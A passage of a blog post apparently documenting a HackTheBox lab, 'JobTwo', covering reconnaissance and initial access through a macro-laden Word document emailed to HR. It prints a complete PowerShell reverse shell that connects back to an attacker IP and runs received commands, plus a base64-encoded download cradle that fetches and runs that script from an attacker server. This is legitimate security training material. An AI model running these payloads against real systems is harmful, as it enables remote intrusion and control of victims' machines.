DEV Community

Cover image for HackTheBox: JobTwo Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: JobTwo Writeup

#cybersecurity #hackthebox #activedirectory #writeup

Executive Summary

JobTwo is a Windows Server 2022 machine that simulates a realistic corporate phishing and privilege escalation scenario. The attack chain begins with a job posting website that solicits Word document CVs via email. By crafting a macro-embedded .docm file and sending it to the HR email address, we obtain an initial foothold as user julian. From there, we discover hMailServer installed on the box, extract and crack a password hash from its database to pivot to user ferdinand (user flag). Finally, we exploit CVE-2023-27532 - an unauthenticated credential leak and RCE vulnerability in Veeam Backup & Replication - to execute commands as NT AUTHORITY\SYSTEM and retrieve the root flag.

Table of Contents

  1. Reconnaissance
  2. Web Enumeration
  3. Initial Access - VBA Macro Phishing
  4. Stable Shell with ConPtyShell
  5. Post-Exploitation as Julian
  6. Credential Extraction - hMailServer
  7. Lateral Movement to Ferdinand (User Flag)
  8. Privilege Escalation - CVE-2023-27532 (Veeam)
  9. Root Flag
  10. Attack Chain Summary
  11. Key Vulnerabilities

1. Reconnaissance

We start with a full Nmap scan using -A (aggressive mode: OS detection, version detection, script scanning, traceroute) and -Pn (skip host discovery, since ICMP may be blocked):

root@kali:/home/kali/htb/Job2# nmap -A -Pn <TARGET_IP>
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-25 07:56 -0400
Nmap scan report for <TARGET_IP>
Host is up (0.28s latency).
Not shown: 985 filtered tcp ports (no-response)
PORT      STATE SERVICE              VERSION
22/tcp    open  ssh                  OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp    open  smtp                 hMailServer smtpd
| smtp-commands: JOB2, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
111/tcp   open  rpcbind
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
| Subject Alternative Name: DNS:job2.vl, DNS:www.job2.vl
| Not valid before: 2023-05-09T13:31:40
|_Not valid after:  2122-05-09T13:41:37
445/tcp   open  microsoft-ds?
2049/tcp  open  rpcbind
3389/tcp  open  ms-wbt-server        Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: JOB2
|   NetBIOS_Domain_Name: JOB2
|   NetBIOS_Computer_Name: JOB2
|   DNS_Domain_Name: JOB2
|   DNS_Computer_Name: JOB2
|   Product_Version: 10.0.20348
|_  System_Time: 2026-06-25T12:57:42+00:00
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
10001/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10002/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
10003/tcp open  storagecraft-image   StorageCraft Image Manager
Enter fullscreen mode Exit fullscreen mode

Key observations:

  • Port 25 (SMTP) - hMailServer is running, meaning we can send emails directly to the box.
  • Port 80/443 - a web server is present.
  • Port 5985 - WinRM is open, useful for lateral movement if we get credentials.
  • Port 3389 - RDP is open.
  • OS fingerprinting suggests Windows Server 2022.

We add the hostname to /etc/hosts so domain-based virtual hosting resolves correctly:

echo '<TARGET_IP> job2.vl www.job2.vl' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

We then check for anonymous/guest SMB access. Both attempts fail - null sessions and the guest account are disabled:

root@kali:/home/kali/htb/Job2# nxc smb <TARGET_IP> -u '' -p ''
SMB  <TARGET_IP>  445  JOB2  [*] Windows Server 2022 Build 20348 x64 (name:JOB2) (domain:JOB2) (signing:False) (SMBv1:None)
SMB  <TARGET_IP>  445  JOB2  [-] JOB2\: STATUS_ACCESS_DENIED

root@kali:/home/kali/htb/Job2# nxc smb <TARGET_IP> -u 'guest' -p ''
SMB  <TARGET_IP>  445  JOB2  [*] Windows Server 2022 Build 20348 x64 (name:JOB2) (domain:JOB2) (signing:False) (SMBv1:None)
SMB  <TARGET_IP>  445  JOB2  [-] JOB2\guest: STATUS_ACCOUNT_DISABLED
Enter fullscreen mode Exit fullscreen mode

SMB is a dead end for now. We pivot to the web server.

2. Web Enumeration

Browsing to http://www.job2.vl reveals a boat rental company job posting page. The relevant section reads:

"If you are interested in this position, please send your CV to **hr@job2.vl* as a Microsoft Word Document."*

This is the entry point. The site is explicitly asking for a Word document attachment — a classic phishing vector. The target email is hr@job2.vl and SMTP (port 25) is directly accessible, so we can send mail without any authentication bypass needed.

3. Initial Access - VBA Macro Phishing

How it works

Microsoft Word supports Visual Basic for Applications (VBA) macros embedded inside .docm files. When a victim opens the document and enables macros, the AutoOpen subroutine fires automatically. We abuse this to execute a PowerShell reverse shell payload on the target machine without any user interaction beyond opening the file.

Step 1 — Create the PowerShell reverse shell

We grab a PowerShell reverse shell from revshells.com - specifically the PowerShell #1 option — plugging in our attacker IP and port 4444, then save it as shell.ps1. The payload opens a TCP connection back to our machine, reads commands we send, executes them, and returns the output:

cat shell.ps1

$LHOST = "<YOUR_IP>"
$LPORT = 4444
$TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT)
$NetworkStream = $TCPClient.GetStream()
$StreamReader = New-Object IO.StreamReader($NetworkStream)
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
$StreamWriter.AutoFlush = $true
$Buffer = New-Object System.Byte[] 1024
while ($TCPClient.Connected) {
    while ($NetworkStream.DataAvailable) {
        $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length)
        $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData - 1)
    }
    if ($TCPClient.Connected -and $Code.Length -gt 1) {
        $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }
        $StreamWriter.Write("$Output`n")
        $Code = $null
    }
}
$TCPClient.Close()
$NetworkStream.Close()
$StreamReader.Close()
$StreamWriter.Close()
Enter fullscreen mode Exit fullscreen mode

Step 2 - Base64-encode a download cradle

Instead of embedding the full shell script inside the macro (which could trigger AV signatures), we use a download cradle: the macro tells PowerShell to fetch shell.ps1 from our HTTP server and execute it in memory. We encode the cradle in UTF-16LE Base64 (the format PowerShell's -EncodedCommand flag expects):

cmd='IEX(New-Object Net.WebClient).DownloadString("http://<YOUR_IP>/shell.ps1")'
echo -n "$cmd" | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADwAWQBPAFUAUgBfAEkAUAA+AC8AcwBoAGUAbABsAC4AcABzADEAIgApAA==
Enter fullscreen mode Exit fullscreen mode

Replace <YOUR_IP> with your own attacker IP and re-run the encoding to get your own base64 string.

Step 3 - Create the malicious Word document

This step requires a Windows machine with Microsoft Word (Microsoft 365 or an activated license - a trial VM works fine). The VBA project name in the editor will match your .docm filename, so if you save as Doc1.docm, the project will show as Project (evil) in the VBA editor.

  1. Open Word → create a new